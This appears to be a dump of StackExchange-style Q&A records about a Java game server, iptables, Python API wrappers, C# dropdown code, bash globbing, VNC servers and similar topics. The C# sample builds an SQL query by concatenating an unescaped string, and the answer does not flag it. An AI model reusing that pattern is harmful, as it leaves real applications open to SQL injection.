String[] messageFrags = message.split(delimiter);                if (messageFrags[0].equals(String.valueOf(MessageType.PLAYER_REGISTRATION_MESSAGE.id()))) {                    PlayerRegistrationMessage registrationMessage = PlayerRegistrationMessage.decodeMessage(messageFrags[1]);                    this.processPlayerRegistration(registrationMessage, client);                } else if (messageFrags[0].equals(String.valueOf(MessageType.PLAYER_LOGIN_MESSAGE.id()))) {                    PlayerLoginMessage loginMessage = PlayerLoginMessage.decodeMessage(messageFrags[1]);                    this.processPlayerLogin(loginMessage, client);                } else if (messageFrags[0].equals(String.valueOf(MessageType.PLAYER_GAME_READY_MESSAGE.id()))) {                    this.sendStartingPlayerAndRegionData(client);                } else if (messageFrags[0].equals(String.valueOf(MessageType.PLAYER_MOVED_MESSAGE.id()))) {                    PlayerMovedMessage decodedMessage = PlayerMovedMessage.decodeMessage(messageFrags[1]);                    decodedMessage.client = client;                    this.game.acceptMessage(decodedMessage);                } else if (messageFrags[0].equals(String.valueOf(MessageType.PLAYER_BUILT_MESSAGE.id()))) {                    PlayerBuiltMessage decodedMessage = PlayerBuiltMessage.decodeMessage(messageFrags[1]);                    decodedMessage.client = client;                    this.game.acceptMessage(decodedMessage);                } else if (messageFrags[0].equals(String.valueOf(MessageType.PLAYER_SOLD_MESSAGE.id()))) {                    PlayerSoldMessage decodedMessage = PlayerSoldMessage.decodeMessage(messageFrags[1]);                    decodedMessage.client = client;                    this.game.acceptMessage(decodedMessage);                } else if (messageFrags[0].equals(String.valueOf(MessageType.PLAYER_BOUGHT_MESSAGE.id()))) {                    PlayerBoughtMessage decodedMessage = PlayerBoughtMessage.decodeMessage(messageFrags[1]);                    decodedMessage.client = client;                    this.game.acceptMessage(decodedMessage);                } else if (messageFrags[0].equals(String.valueOf(MessageType.PLAYER_BOUGHT_ALL_MESSAGE.id()))) {                    PlayerBoughtAllMessage decodedMessage = PlayerBoughtAllMessage.decodeMessage(messageFrags[1]);                    decodedMessage.client = client;                    this.game.acceptMessage(decodedMessage);                } else if (messageFrags[0].equals(String.valueOf(MessageType.PLAYER_TOOK_MESSAGE.id()))) {                    PlayerTookMessage decodedMessage = PlayerTookMessage.decodeMessage(messageFrags[1]);                    decodedMessage.client = client;                    this.game.acceptMessage(decodedMessage);                } else if (messageFrags[0].equals(String.valueOf(MessageType.PLAYER_GAVE_ALL_MESSAGE.id()))) {                    PlayerGaveAllMessage decodedMessage = PlayerGaveAllMessage.decodeMessage(messageFrags[1]);                    decodedMessage.client = client;                    this.game.acceptMessage(decodedMessage);                } else if (messageFrags[0].equals(String.valueOf(MessageType.PLAYER_GAVE_MESSAGE.id()))) {                    PlayerGaveMessage decodedMessage = PlayerGaveMessage.decodeMessage(messageFrags[1]);                    decodedMessage.client = client;                    this.game.acceptMessage(decodedMessage);                } else if (messageFrags[0].equals(String.valueOf(MessageType.PLAYER_TOOK_REGION_MESSAGE.id()))) {                    PlayerTookEntireRegionMessage decodedMessage = PlayerTookEntireRegionMessage.decodeMessage(messageFrags[1]);                    decodedMessage.client = client;                    this.game.acceptMessage(decodedMessage);                } else if (messageFrags[0].equals(String.valueOf(MessageType.PLAYER_ADDED_ENERGY_MESSAGE.id()))) {                    PlayerAddedEnergyMessage decodedMessage = PlayerAddedEnergyMessage.decodeMessage(messageFrags[1]);                    decodedMessage.client = client;                    this.game.acceptMessage(decodedMessage);                } else if (messageFrags[0].equals(String.valueOf(MessageType.PLAYER_ADDED_MAX_ENERGY_MESSAGE.id()))) {                    PlayerAddedMaxEnergyMessage decodedMessage = PlayerAddedMaxEnergyMessage.decodeMessage(messageFrags[1]);                    decodedMessage.client = client;                    this.game.acceptMessage(decodedMessage);                } else if (messageFrags[0].equals(String.valueOf(MessageType.PLAYER_ADDED_ENERGY_REGION_MESSAGE.id()))) {                    PlayerAddedEnergyRegionMessage decodedMessage = PlayerAddedEnergyRegionMessage.decodeMessage(messageFrags[1]);                    decodedMessage.client = client;                    this.game.acceptMessage(decodedMessage);                } else if (messageFrags[0].equals(String.valueOf(MessageType.PLAYER_UPDATE_MESSAGE.id()))) {                    PlayerUpdateMessage decodedMessage = PlayerUpdateMessage.decodeMessage(messageFrags[1]);                    decodedMessage.client = client;                    this.game.acceptMessage(decodedMessage);                } else if (messageFrags[0].equals(String.valueOf(MessageType.PLAYER_BOUGHT_ABILITY_MESSAGE.id()))) {                    PlayerBoughtAbilityMessage decodedMessage = PlayerBoughtAbilityMessage.decodeMessage(messageFrags[1]);                    decodedMessage.client = client;                    this.game.acceptMessage(decodedMessage);                } else if (messageFrags[0].equals(String.valueOf(MessageType.PLAYER_ACTIVATED_ABILITY_MESSAGE.id()))) {                    PlayerActivatedAbilityMessage decodedMessage = PlayerActivatedAbilityMessage.decodeMessage(messageFrags[1]);                    decodedMessage.client = client;                    this.game.acceptMessage(decodedMessage);                }            }        }    }    /**     * To allow for logins from multiple locations/devices     */    private void tryToRemoveExistingPlayer(String name) {        Client clientToRemove = null;        for (Client existingClient : this.clients) {            if (existingClient.getPlayer() != null &&                name.equals(existingClient.getPlayer().getName())) {                this.systemMessagesLogger.log(found matching player  + existingClient.getPlayer().getName());                clientToRemove = existingClient;            }        }        if (clientToRemove != null) {            clientToRemove.connection.close(0);            this.clientDisconnected(clientToRemove.connection);        }    }    /**     * This is the initial payload sent to the client that contains the nearby regions, and player data     */    private void sendStartingPlayerAndRegionData(Client client) {        if (client.getPlayer() == null) {            String userName = client.getUserName();            if (userName != null) {                Player savedPlayer = this.loadPlayerForUserName(userName);                if (savedPlayer == null) {                    return;                }                client.setPlayer(savedPlayer);            }        }        PlayerMessage playerMessage = new PlayerMessage(client.getPlayer().encodeToString());        client.connection.send(playerMessage.getMessageString());        for (Region region : this.game.getClosebyRegionsForClient(client)) {            RegionMessage regionMessage = new RegionMessage(region.encodeToString(), region.worldPosition());            client.connection.send(regionMessage.getMessageString());        }        this.systemMessagesLogger.log(adding client  + client.getPlayer().getName());    }    /**     * If the current count for an ip address in the map is over the threshold,     * Reduces the count back to the threshold     * Otherwise simply reduces the currently saved count by 2     * Over time this will allow ip addresses to try to connect again     */    private void ipRefresh() {        for (String string : this.recentIpAddresses.keySet()) {            int persistentlyConnectingThreshold = 12;            int currentCount = this.recentIpAddresses.get(string);            if (currentCount > persistentlyConnectingThreshold) {                this.recentIpAddresses.put(string, 10);            } else {                this.recentIpAddresses.put(string, Math.max(this.recentIpAddresses.get(string) - 2, 0));            }        }    }    /**     * Adds the ip address to the map of recently connected IPs     * Also keeps track of the number of times it has connected (if already present in map)     */    private void processIpAddress(InetSocketAddress address) {        boolean wasInMap = false;        for (String string : this.recentIpAddresses.keySet()) {            if (string.equals(address.getHostString())) {                int currentCount = this.recentIpAddresses.get(string);                this.recentIpAddresses.put(string, currentCount + 1);                wasInMap = true;            }        }        if (!wasInMap) {            this.recentIpAddresses.put(address.getHostString(), 1);        }        this.systemMessagesLogger.log(num times connected =  + String.valueOf(this.recentIpAddresses.get(address.getHostString())));    }    private boolean hasIpConnectedTooFrequently(InetSocketAddress address) {        int count = this.recentIpAddresses.get(address.getHostString());        if (count > this.maxIpConnectionsThreshold) {            return true;        }        return false;    }}Play the game here"  , "title": "MMO Game Server"  , "tags": "java;game;server"  , "accepted_answer": "Some quick things that I can see :public ArrayList<Client> getClients() {        return this.clients;}You're returning the implementation, you should almost always flavor the interface, in this case List. Hiding implementation is a good thing.     try {        this.loadWorld();    } catch (IOException e) {        // TODO Auto-generated catch block        e.printStackTrace();    }Auto-generated code should be changed almost immediately. Printing to the stacktrace is most of the time not how you want to manage things. If you really don't know how to manage this, log the error with the stacktrace and be done with it. A log has more chance to be look at and be saved somewhere than the console output is. String[] messageFrags = message.split(delimiter);                if (messageFrags[0].equals(String.valueOf(MessageType.PLAYER_REGISTRATION_MESSAGE.id())))....This piece of code is rather not that readable. I would first maybe create String version ofMessageType.PLAYER_REGISTRATION_MESSAGE.id() since it would remove a lot of not so useful transformation. For the if itself, you can use a switch for a String maybe it would be a solution."  } 
{  "id": "_unix.191607"  , "question": "I don't understand what the RETURN target does in a iptables command.The doubt comes from this guide where it says:A chain is a set of rules that a packet is checked against sequentially. When the packet matches one of the rules, it executes the associated action and is not checked against the remaining rules in the chain.So if a packet matches a rule and it stops checking other rules why do I need a RETURN?For example I found this on the internet:iptables -A PREROUTING -t mangle -i wlan0 -s 192.168.1.10 -j MARK --set-mark 30;iptables -A PREROUTING -t mangle -i wlan0 -s 192.168.1.10 -j RETURN;Why do I need RETURN? If a packet matches the first rule then it automatically stops executing other rules."  , "title": "iptables and RETURN target"  , "tags": "iptables"  , "accepted_answer": "Packets traverse a chain until they hit ACCEPT, DROP, REJECT, or RETURN. They do not stop on a match unless that match contains a terminating action. In your example, a packet matching the first rule will be marked, but will then be examined (and possibly processed) by the second rule.Purely for reference, here are the relevant sections from the man page:A firewall rule specifies criteria for a packet and a target. If the packet does not match, the next rule in the chain is the examined; if it does match, then the next rule is specified by the value of the target, which can be the name of a user-defined chain or one of the special values ACCEPT, DROP [, REJECT], QUEUE or RETURN.ACCEPT means to let the packet through.DROP means to drop the packet on the floor, i.e. to discard it and not send any response[REJECT is used to send back an error packet in response to the matched packet: otherwise it is equivalent to DROP so it is a terminating TARGET, ending rule traversal.]QUEUE means to pass the packet to userspace.RETURN means stop traversing this chain and resume at the next rule in the previous (calling) chain. If the end of a built-in chain is reached or a rule in a built-in chain with target RETURN is matched, the target specified by the chain policy determines the fate of the packet.In response to your specific concern, I would say that your guide is misleading. Unless associated action is one of the five terminal actions, packets will continue to flow through the chain until they reach an implicit RETURN at the end."  } 
{  "id": "_unix.91843"  , "question": "I have been trying to set up and build an image of the Chromium OS from the instructions available here. My laptop was running the build_packages script for about 7-8 hours after which it failed on one package.Now, my question is:Does the build instruction download all the libraries again? I reran the build instruction today, and it kept reading the downloaded packages, marking them invalid, deleting them and then re-downloading.The build instruction is getting stuck after a few packages every time. Now, my connection is working correctly, and I synced with the repository yesterday, so why is it failing to download packages? How do I figure out the total progress of the build instruction since the text feedback seems to be fragmented and localised to the package being downloaded and built and not the overall build?Here is the latest failed build log."  , "title": "Does `build_packages` download all libraries again in the case of a failed build?"  , "tags": "compiling;chroot;chromium os"  } 
{  "id": "_webmaster.68751"  , "question": "I had a site with multiple blogs for eg www.mysite.com/gre, www.mysite.com/gmatWhat I have done is that ported the blogs to new site mynessite.com and set up a 301 redirect. The old content becomes the part of sitemap.xml for new site.Should I delete the site map for www.mysite.com/gre, www.mysite.com/gmat from my old blog ?"  , "title": "Porting some of the contents to new site. Should I delete the old sitemap.xml?"  , "tags": "google;google search console;xml sitemap"  , "accepted_answer": "No. Just remove the pages that are no longer part of the old site. Search engines periodically re-crawl the sitemaps so there is no need to delete it. Only the obsolete content needs to go."  } 
{  "id": "_cstheory.6670"  , "question": "What applications does the Vertex Cover Problem have in the real world?Which industry or research projects use actually implemented software that is based on theoretical results for the Vertex Cover problem? In particular, are any of the following theoretical results implemented in used software?Approximation algorithms for Vertex CoverExponential-time algorithms for Vertex CoverFixed-parameter tractable algorithms for Vertex CoverKernelization algorithms for Vertex Cover"  , "title": "Vertex Cover applications in the real world"  , "tags": "ds.algorithms;graph theory;graph algorithms"  } 
{  "id": "_codereview.105602"  , "question": "As a beginner to Python with some rookie experience in building software, I decided writing an API wrapper for Strawpoll would be a good exercise in learning the language and design patterns.The intent was to finish writing the entire wrapper but I feel something is amiss, but am unable to identify why the code I've written doesn't feel as organized as other Python libraries I've seen.I think I have done an OK job of separating and organizing the modules, but would love some comments on how this could be done better / in a more pythonic way.Do let me know if you have any questions about my decision making / thought process I will try my best to answer those.Below are the modules I would absolutely love some help with:The base class:strawpoll/base/strawpoll_base.pyA python module to provide the base class for Strawpoll's JSON API:https://strawpoll.me/api/v2/pollsThe StrawpollAPIWriter class provides methods for:* Calculations on fetched poll data* Fetching poll data is left to the reader class to defineimport reclass StrawpollAPIBase(object):        TODO: Document this class        API_KEYWORDS = frozenset(        [u'title', u'options', u'votes',         u'multi', u'permissive', u'id', u'captcha'])    API_ENDPOINT = 'https://strawpoll.me/api/v2/polls/'    URL_PATTERN = re.compile('^https?://strawpoll.me/(?P<id>[1-9][0-9]*)/?r?')    USER_AGENT = 'Strawpoll API Reader'    API_POST_HEADERS = {        'Content-Type': 'application/json',        'X-Requested-With': 'StrawpollAPIWriter, github=http://git.io/vsV1E'    }    def __init__(self, data={}):        self.id = None        self.title = None        self.options = None        self.votes = None        self.multi = False        self.permissive = False        self.captcha = False        for key in data.keys():            try:                setattr(self, key, data[key])            except AttributeError:                continue    def __eq__(self, other):        return self.__dict__ == other.__dict__    # Begin instance methods    def total_votes(self):         Returns the sum of votes cast for all option in a strawpoll         return sum(self.votes)    def normalize(self):         Returns Normalized votes on a 0.0 - 1.0 scale         total = self.total_votes()        return [vote / total for vote in self.votes]    def votes_for(self, option):                Returns the number of votes an option recieved        Return None if no such option exists                try:            return self.votes[self.options.index(option)]        except ValueError:            return None    def normalized_votes_for(self, option):                Returns the fraction of votes an option recieved        Return None if no such option exists                return self.normalize()[self.options.index(option)]    def winner(self):         Returns the option that got the most votes         most_popular_index = self.votes.index(max(self.votes))        return self.options[most_popular_index]    def loser(self):         Returns the option that got the least votes         least_popular_index = self.votes.index(min(self.votes))        return self.options[least_popular_index]    def to_clean_dict(self):                Cleans up self.__dict__ so that it is accepted as json by strawpoll API                cdict = self.__dict__        for key in cdict.keys():            if cdict[key] == None:                del cdict[key]        return cdictThis is the API reader class that derives from strawpoll.base:strawpoll/strawpoll_api_reader.pyA python module to provide methods to read data from existing polls usingStrawpoll's JSON API (https://strawpoll.me/api/v2/polls).The StrawpollAPIReader class provides methods for:* Capturing all poll data in an instance* Performing basic options such as normalizing votes for each option* Finding the winner / loserfrom __future__ import divisionfrom base.strawpoll_base import StrawpollAPIBaseimport requestsimport jsonclass StrawpollAPIReader(StrawpollAPIBase):    def __init__(self, data={}):         Construct self using a dictionary of data         super(StrawpollAPIReader, self).__init__()        for key in data.keys():            # This actually worked.            # hasattr -> setattr died with AttributeErrors            try:                setattr(self, key, data[key])            except AttributeError:                # Log this?                continue    @classmethod    def from_json(cls, json_string):                Constructs a poll instance from a JSON string        returned by strawpoll.me API                api_response = json.loads(json_string)        response_keys = set(api_response.keys())        if response_keys.issubset(cls.API_KEYWORDS):            return cls(data=api_response)    @classmethod    def from_apiv2(cls, id):         Constructs a poll instance using a strawpoll id         response = requests.get(cls.API_ENDPOINT + str(id))        return cls.from_json(response.text)    @classmethod    def from_url(cls, url):                Constructs a poll instance using a strawpoll url, that matches:        ^https?://strawpoll.me/[1-9][0-9]*/?r?        Issues: Still matches 'http://strawpoll.me/1r', but ignores the r at        the very end                matches = cls.URL_PATTERN.match(url)        if matches is not None:            # Note: we are actually passing a str and not an int            return cls.from_apiv2(matches.group('id'))Please let me know what you think is a better way to organize these two, if what I have done isn't good enough."  , "title": "Strawpoll fetch API in Python"  , "tags": "python;python 2.7;api"  , "accepted_answer": "DocumentationI think my first issue with this is this:TODO: Document this classAngels weep when you write code without documenting it first.  In general, you should know what it's supposed to do before you write it.  Implementation details are irrelevant, and shouldn't go in your documentation anyway (they belong in comments).ABCThat aside, I don't think I see the point of the base class.  Unless there are other StrawpollAPIs you want to implement that should subclass this.  __init__Additionally, I don't like how you write __init__.  Why are you doing this?for key in data.keys():    try:        setattr(self, key, data[key])    except AttributeError:        continueYou shouldn't be ignoring errors like that - at the very least log the error (like you comment about in the subclass).  Beyond that though, it seems to me that there should be a finite number of known keys in the API - accept them in the constructor as keyword arguments with sensible default values.  After all, to quote the Zen of Python,Explicit is better than implicit.I'd say something likedef __init__(self, id_=None, title=None, options=None ....):    self.id = id_    ...is much cleaner, and doesn't require a major difference in how you call it:cls(**api_response)instead ofcls(data=api_response)Then you loudly get an error if it has weird, invalid data.  If you really still want to handle it, then usedef __init__(self, id_=None, ..., **kwargs):and then handle extra keyword arguments appropriately.One possible issue is with the name id_ - unfortunately id is a builtin function in Python, and using it as a parameter will override it locally.  Also unfortunately, in all likelihood the API won't have the name id_.  You can always access id from the __builtins__ module, or set a class member likeclass StrawpollAPIBase(object):    id_function = id    def __init__(self, id=None, ...):and then just use id_function if you need to use id inside of __init__.PropertiesI'd say things like normalize could be properties.@propertydef normalize(self):    return [vote / self.total_votes() for vote in self.votes]so then you can access it as instance.normalize, but this is a minor detail.Magic methodsIf you implement __eq__ make sure you implement __ne__ as well.  It's easydef __ne__(self, other):    return not self == otherWhitespaceAdd an empty line after your docstrings.  Just a style concern, and pretty minor.NamingI don't like the name from_apiv2.  It isn't very descriptive to me.  Instead, maybe something like from_strawpoll_id or just from_id.Also, and this is personal preference, I like to use the form Api instead of API while using acronyms in names, especially if they're followed by another CamelCased word."  } 
{  "id": "_unix.383482"  , "question": "env runs a command with a modified environment.env [option]... [name=value]... [command [args]...]If there is no name=value or option following env, what kind of environment is a command executed with?What is the purpose of using env without any name=value or option following?For exampleenv bash -c 'echo $_'Thanks."  , "title": "If there is no assignment of environment variable following `env`, what kind of environment is a command executed with?"  , "tags": "bash;environment variables;coreutils"  } 
{  "id": "_unix.30"  , "question": "I need to compile some software on my Fedora machine. Where's the best place to put it so not to interfere with the packaged software?"  , "title": "Where should I put software I compile myself?"  , "tags": "package management;compiling;software installation;directory structure;fhs"  , "accepted_answer": "Rule of thumb, at least on Debian-flavoured systems:/usr/local for stuff which is system-wide—i.e. /usr/local tends to be in a distro's default $PATH, and follows a standard UNIX directory hierarchy with /usr/local/bin, /usr/local/lib, etc./opt for stuff you don't trust to make system-wide, with per-app prefixes—i.e. /opt/firefox-3.6.8, /opt/mono-2.6.7, and so on. Stuff in here requires more careful management, but is also less likely to break your system—and is easier to remove since you just delete the folder and it's gone."  } 
{  "id": "_unix.335383"  , "question": "I'm using nodetool setlogginglevel to set logging level of Cassandra, but all the changes would be lost after I restarted the Cassandra process. Is there a way to permanently set its logging level?"  , "title": "How to permanently change Cassandra's logging level?"  , "tags": "logs"  } 
{  "id": "_softwareengineering.301132"  , "question": "Does a programmer need to have a deep understanding of digital electronics. Theoretical v/s practical. As what they teach us at college is pretty basic?If yes, then do all kinds of programmers (software developers/web developers/app developers) needit (deep understanding), should a security enthusiast (hacker) have good knowledge of digital electronics? "  , "title": "Use of electronics in programming"  , "tags": "design;design patterns;architecture;programming practices"  , "accepted_answer": "The computing world is a world of layers.Using semiconductor physics transistors can be design and built.Using transistors logic gates can be built.Using logic gates combinatorial logic and flip-flops can be built.From combinatorial logic and flip flops we build digital logic systems like processors and perhiperalsThose processors interpret a machine code and communicate with the perhiperals through memory mapped registers (or occasionally registers in a specific IO map.We use compilers and operating systems to abstract the details of the hardwareWe use high level interpreted or jit compiled languages with automated memory management to abstract things even more.Someone working in an interpreted scripting language is going to find information about semiconductor physics totally irrelevant but knowing a layer or two below the layer you are working at is often useful in understanding why things are the way they are and what solutions are likely to be efficient. "  } 
{  "id": "_webapps.70998"  , "question": "This feature was added for US users in December 2014 and manifests itself as a red blinking number in the top left tab navigation."  , "title": "How can I turn off the new News Feed in Yahoo! Mail?"  , "tags": "yahoo mail"  } 
{  "id": "_codereview.13342"  , "question": "Below is the class which I am using to fill multiple DropDowns on ASP.NET Page Load event:public sealed class getBlocks{    public getBlocks(DropDownList dropDownName, string districtId)    {        returnBlocks(dropDownName, districtId);    }    public void returnBlocks(DropDownList DropDownName, string DistrictId)    {        var DB = new PetaPoco.Database(cnWebDems);        string Query = SELECT distinct blockname, blockid FROM hab_master WHERE distid = ' + DistrictId + ' ORDER BY blockname;        var result = DB.Fetch<hab_master>(Query);        DropDownName.DataSource = result;        DropDownName.DataTextField = blockname;        DropDownName.DataValueField = blockid;        DropDownName.DataBind();        DropDownName.Items.Insert(0, -- Select --);        DB.Dispose();    }Suggest further improvements."  , "title": "What improvements are needed in this class to fill DropDown using PetaPoco?"  , "tags": "c#;.net;asp.net"  , "accepted_answer": "Firstly, data access should be separate from your UI logic. Certainly create a new layer, where you'll manage CRUD operations.Secondly, I'm not really fond of your naming convention of classes. Even though it may be a subjective matter, many people tend to use capitalized names for classes and certainly not using words like getBlocks. This isn't a name for a class, that's a name for a getter method.Thirdly, you're dealing with your parameters the wrong way, at least in my opinion. I believe it would be more appropriate to have private fields of type DropDownList and String, populate them in the constructor and then just use these private variables (and/or properties, depends on your needs) instead of specifying parameters for the method itself. Seems more OOP to me that way. Otherwise I don't really see a reason why not just create a helper class with a static method you'll call whenever needed, without the need to instantiate the class itself.Another thing to consider - usually it's better to use an using statement instead of manually calling Dispose method.Edit based on the comment:1.) example using private fieldspublic sealed class Blocks{    private DropDownList _ddList;    private int _districtId;    public Blocks(DropDownList dropDownList, int districtId)    {        _ddList = dropDownList;        _districtId = districtId;    }    public void PopulateDropDownList()    {         var results = MyDbAccessClass.GetBlocks(_districtId);         _ddList.DataSource = results;        _ddList.DataTextField = blockname;        _ddList.DataValueField = blockid;        _ddList.DataBind();        _ddList.Items.Insert(0, -- Select --);    }}2.) example using static methodpublic sealed class MyHelperMethods{    public static void PopulateWithBlocks(DropDownList ddList, int districtId)    {         var results = MyDbAccessClass.GetBlocks(districtId);         ddList.DataSource = results;        ddList.DataTextField = blockname;        ddList.DataValueField = blockid;        ddList.DataBind();        ddList.Items.Insert(0, -- Select --);    }}Hope you get the idea..."  } 
{  "id": "_cs.62529"  , "question": "Let $N \\leq 1000$, a 2-3-monotone sequence $s$ of length $N$ is defined as:$s_i < s_{i+2}$, for $1 \\leq i \\leq N-2$$s_i < s_{i+3}$, for $1 \\leq i \\leq N-3$$s_i \\in \\{1,\\dots, N\\}$ Given $N$, calculate all the possible sequences of length $N$ given above formula.I have already come up with a solution in $\\mathcal{O}(N^3)$, but that's too slow for $N=1000$. For my solution I used dynamic-programming, but I cannot come up with a recursion which would allow me a better complexity. As far as I've discussed it with others, there is a $\\mathcal{O}(N^2)$ dynamic programming algorithm. Example: For $N=3$ we have $9$ such sequences, i.e:112,113,122,123,132,133,213,223,233"  , "title": "Count all possible 2-3-monotone sequences"  , "tags": "algorithms;dynamic programming;counting;memoization"  } 
{  "id": "_unix.349175"  , "question": "I'm trying to play with Live installation of ParrotOS (it is based on Debian) using liveusb on my Macbook pro retina 2015. I pressed option(alt) on the booting then chose the boot usb, and then I see ParrotOS installation menu and then everything is stuck.Every time it freezes earlier or later, once I even booted into a live version of ParrotOS.I tried rEFInd but had the same result.A little more and I will start to hate apple.I want to use ParrotOS on my mac, please help."  , "title": "Boot ParrotOS LiveUSB on Macbook pro 2015 retina"  , "tags": "linux;boot;macintosh;parrotsec"  } 
{  "id": "_unix.87647"  , "question": "Let's say I have files xinitrc, alphabetsoup, ieat.pie in the current directory. Need a bash script to select only xinitrc and alphabetsoup. "  , "title": "How do I select files in a bash script that do not have an extension?"  , "tags": "bash;shell script;wildcards"  , "accepted_answer": "The bash extended glob +([^.]) will match files without any . in their name. It requires that you have not unset shopt extglob (on modern bash installations, it should be set by default). The pattern means: any number (but at least one) of characters other than .You can put all the filenames in an array:NO_EXTENSION=( +([^.]) )You can print the filenames:printf %s\\n +([^.])Or pass them all to a utility:ls -- +([^.])If you want them in variable but not an array, you need to be very sure that no file has whitespace in its name. If you are absolutely certain of this, you can do:NO_EXTENSION=$(echo +([^.]))The invocation of echo is necessary in order to get pathname expansion to happen, unlike in the array case. I strongly recommend using arrays for this sort of list, because you don't have to worry about special characters in the filenames."  } 
{  "id": "_unix.243180"  , "question": "I want to replace the <name>, <place>, and <address> in my input file(for example, letter.txt):To : <name>Address : <address>Place : <place>with the contents of a second file (data.txt):johne 2334st. Cityao that the output be :To : johneAddress : 2334st.Place : City"  , "title": "How to use the sed command in shell script"  , "tags": "shell script;sed"  } 
{  "id": "_unix.322093"  , "question": "Ubuntu 16.04I tried this:for file in $source/*.zipdo        echo $filedoneand it works if the directory contains zip files. It prints out all them. But if it does not, it just print the $source/*.zip. I mean if source=/home/usrname/dir which does not contain any zips then it prints/home/usrname/dir/*.zipIs there a way to make it print nothing in that case?"  , "title": "How to list all zip files in a directory?"  , "tags": "bash;scripting"  , "accepted_answer": "You could use:find $source -name *.zipAnd if needed pipe it to xargs or use:shopt -s dotglobfor file in ${source}/*.zipdo   if [ -f ${file} ]; then      printf '%s\\n' $file   fidoneTo print only the zip files that are regular files or symlinks to regular files."  } 
{  "id": "_cs.50278"  , "question": "I have a problem with understanding the $P_2 \\mid \\mid C_\\max$ problem which is also known as Tasks Scheduling on Multiple Processors. In fact, in my case I need only one processor (but the problem is usually described for 2 or more so let it be). I understand what is all about: given a set of tasks with constant delay time and priority the algorithm should find the best permutation of them so that the total delay time is the smallest one. And now is my question: if the delay is constant for each task, so how come different permutations provide different total delay? "  , "title": "Understanding the P2||CMax scheduling problem"  , "tags": "algorithms;optimization;scheduling"  } 
{  "id": "_codereview.67437"  , "question": "I want to generate a 'dictionary' containing all 8 character permutations of upper-case letters such that the output file looks like:AAAAAAAAAAAAAAABAAAAAAAC...ZZZZZZZZI came up with this solution that uses the product method of itertools:from itertools import productper = product('ABCDEFGHIJKLMNOPQRSTUVWXYZ', repeat=8)f = open('myfile', 'w')p = for p in per:    p = .join(p)    f.write(p + \\n)f.close()I know there's 208,827,064,576 (> 200 billion) possible permutations so it's going to take time no matter what, but how can I optimise this?"  , "title": "Generating character permutations"  , "tags": "python;optimization;strings;combinatorics;io"  } 
{  "id": "_codereview.161984"  , "question": "So I have these classes that are meant to be low level and fast. I don't want them to generally be virtual - rather I want the functions to be inline.In this case they are mutex implementations:class MutexOne{public:   void lock        () { /* implementation inline */ }      bool tryLock     () { /* implementation inline */ }     void unlock      () { /* implementation inline */ }   void reset       () { /* implementation inline */ }   static const char* implementationName() { return MutexOne; }};class MutexTwo{public:   void lock        () { /* implementation inline */ }      bool tryLock     () { /* implementation inline */ }     void unlock      () { /* implementation inline */ }   void reset       () { /* implementation inline */ }   static const char* implementationName() { return MutexTwo; }};... etc ...All the mmutexes have the same api. Within a testing framework I kind of wish they were virtual so that I can do something like:testMutexImplementation( MutexVirtual& mutex ){    mutex.lock();  // etc... do a lot of complex validating}So within the testing framework I wish I had a nice clean virtual base class interface. But in production I don't want to pay for a virtual function on every mutex operation many of which are like 2-3 opcode in the general case.So I thought of this way to use templates to add a virtual table after the fact, only when I need it.So I start by creating the desired base class:class MutexVirtual{public:   virtual void lock        () = 0;   virtual bool tryLock     () = 0;   virtual void unlock      () = 0;   virtual void reset       () = 0;    virtual const char* implementationName() = 0;};And then use template magic to fill in the virtual table:template < typename T > class MutexPostVirtual : public MutexVirtual, public T{public:   void lock           () { T::lock(); }   bool tryLock        () { return T::tryLock(); }   void unlock         () { T::unlock(); }   void reset          () { T::reset(); }    const char* implementationName() { return T::implementationName(); }};I'm pretty happy and it works great:MutexPostVirtual<MutexOne> mutex1;MutexPostVirtual<MutexTwo> mutex2;testMutexImplementation( mutex1 );testMutexImplementation( mutex2 );I can't help thinking that maybe there is a cleaner simpler way? How can this code be better?"  , "title": "Using Templates to add virtual tables to non-virtual classes"  , "tags": "c++;template meta programming"  } 
{  "id": "_unix.129432"  , "question": "Will a VNC server work without X Server installed? I know vnc works with X Server, but what about without it?"  , "title": "VNC Server without X Window System"  , "tags": "linux;networking;x11;gui;vnc"  , "accepted_answer": "No you'll typically need X installed on the server you're remoting into using VNC since it merely is displaying an X desktop back from this server. In computing, Virtual Network Computing (VNC) is a graphical desktop sharing system that uses the Remote Frame Buffer protocol (RFB) to remotely control another computer. It transmits the keyboard and mouse events from one computer to another, relaying the graphical screen updates back in the other direction, over a network.This bit might be what confuses people:Note that the machine the VNC server is running on does not need to have a physical display. In the normal method of operation a viewer connects to a port on the server (default port 5900). When they mention Display they're talking about a physical monitor. The remote server still requires that X be installed and configured so that GUI desktops can be run.What about Xvnc, X11vnc, and vncserver?XvncXvnc is a X11 server that you can run standalone, but it will still require a desktop to operate it, otherwise when you launch it you'll be presented with just a black window. So Xvnc doesn't technically require X to be installed since it contains its own X server.So Xvnc is really two servers in one. To the applications it is an X server, and to the remote VNC users it is a VNC server. By convention we have arranged that the VNC server display number will be the same as the X server display number, which means you can use eg. snoopy:2 to refer to display 2 on machine 'snoopy' in both the X world and the VNC world.Normally you will start Xvnc using the vncserver script, which is designed to simplify the process, and which is written in Perl. You will probably want to edit this to suit your preferences and local conditions. We recommend using vncserver rather than running Xvnc directly, but Xvnc has essentially the same options as a standard X server, with a few extensions. Running Xvnc -h will display a list.$ export DISPLAY=localhost:1.0$ /usr/bin/Xvnc :1 -ac -auth /root/.Xauthority \\    -geometry 1200x700 -depth 8 -rfbwait 120000 \\    -rfbauth /root/.vnc/passwd 2> /root/.vnc/ServerDaemon.log &$ /bin/sleep 10$ /usr/bin/fvwm 2> /root/.vnc/fvwm.log &x11vncWhere Xvnc contains its own X server, x11vnc does not. It's a VNC server that integrates with an already running X server, Xvnc, or Xvfb. It does have the unique feature of being able to connect to things that have a framebuffer.excerptx11vnc keeps a copy of the X server's frame buffer in RAM. The X11 programming interface XShmGetImage is used to retrieve the frame buffer pixel data. x11vnc compares the X server's frame buffer against its copy to see which pixel regions have changed (and hence need to be sent to the VNC viewers.)excerptIt allows remote access from a remote client to a computer hosting an X Window session and the x11vnc software, continuously polling the X server's frame buffer for changes. This allows the user to control their X11 desktop (KDE, GNOME, XFCE, etc.) from a remote computer either on the user's own network, or from over the Internet as if the user were sitting in front of it. x11vnc can also poll non-X11 frame buffer devices, such as webcams or TV tuner cards, iPAQ, Neuros OSD, the Linux console, and the Mac OS X graphics display.x11vnc does not create an extra display (or X desktop) for remote control. Instead, it uses the existing X11 display shown on the monitor of a Unix-like computer in real time, unlike other Linux alternatives such as TightVNC Server. However, it is possible to use Xvnc or Xvfb to create a 'virtual' extra display, and have x11vnc connect to it, enabling X-11 access to headless 